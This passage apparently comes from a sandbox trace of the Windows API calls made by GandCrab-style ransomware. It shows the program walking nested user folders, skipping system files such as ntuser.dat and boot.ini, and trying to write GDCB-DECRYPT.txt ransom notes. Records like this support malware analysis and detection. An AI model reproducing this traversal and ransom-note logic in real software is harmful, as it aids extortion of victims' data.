Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.410] GetLastError () returned 0x3 [0170.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 262 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 262 [0170.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 270 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 270 [0170.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 271 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 271 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 271 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 271 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 264 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 264 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 264 [0170.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 264 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.411] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.411] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.411] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.411] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.411] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 253 [0170.411] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 253 [0170.411] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 253 [0170.411] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 253 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.411] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.411] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.411] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.411] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.412] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 252 [0170.412] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.414] GetLastError () returned 0x50 [0170.414] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 249 [0170.414] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 249 [0170.414] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 251 [0170.414] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 251 [0170.414] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 251 [0170.414] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 251 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.414] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.414] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.414] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.414] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.414] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.415] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 261 [0170.415] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.415] GetLastError () returned 0x3 [0170.415] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 260 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 260 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 260 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 260 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.415] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 254 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 254 [0170.415] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 253 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 253 [0170.415] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 245 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 245 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 245 [0170.415] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 245 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.415] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.416] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.416] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 257 [0170.416] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.419] GetLastError () returned 0x50 [0170.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.419] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 263 [0170.419] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.419] GetLastError () returned 0x3 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.420] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 271 [0170.420] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.420] GetLastError () returned 0x3 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.421] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 274 [0170.421] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, 